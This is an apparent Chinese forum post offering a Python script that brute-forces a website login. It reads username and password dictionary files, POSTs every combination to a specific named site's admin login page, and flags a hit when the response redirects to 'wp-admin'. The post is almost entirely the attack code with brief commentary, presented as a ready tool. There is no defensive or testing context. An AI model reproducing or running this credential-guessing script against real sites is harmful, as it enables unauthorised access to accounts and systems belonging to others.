本帖最后由 yang28852 于 2023-6-24 19:09 编辑
[xmd]它使用了一个循环,将字典中的每个用户名和密码组合作为POST请求参数发送到指定的登录页面。如果页面跳转到了wp-admin后台页面,那么说明该组合是有效的,即该用户名和密码是正确的,代码如下:
import urllib3
import urllib.parse
http = urllib3.PoolManager(headers={'Content-Type': 'application/x-www-form-urlencoded'})
url = "http://www.ikunct1.top/admin/login.php"
users = [] # 初始化存储用户名的列表
passwords = [] # 初始化存储密码的列表
# 从文件中读取所有用户名和密码
with open('用户字典', 'r') as userlist:
users = userlist.readlines()
with open('密码字典', 'r') as passwordlist:
passwords = passwordlist.readlines()
# 循环处理用户名和密码组合
for user in users:
user = user.strip()
for password in passwords:
password = password.strip()
values = {'log': user, 'pwd': password}
# 输出正在尝试的用户名和密码组合
print(f"Trying user={user}, password={password}")
encoded_values = urllib.parse.urlencode(values).encode('utf-8')
response = http.request('POST', url, body=encoded_values)
try:
idx = response.geturl().index('wp-admin')
except ValueError:
idx = -1
# 输出是否找到正确的用户名和密码
if (idx >= 0):
print(f"Found username: {user}, password: {password}")
break
else:
print(f"Failed username: {user}, password: {password}")
if (idx >= 0):
break
使用道具 举报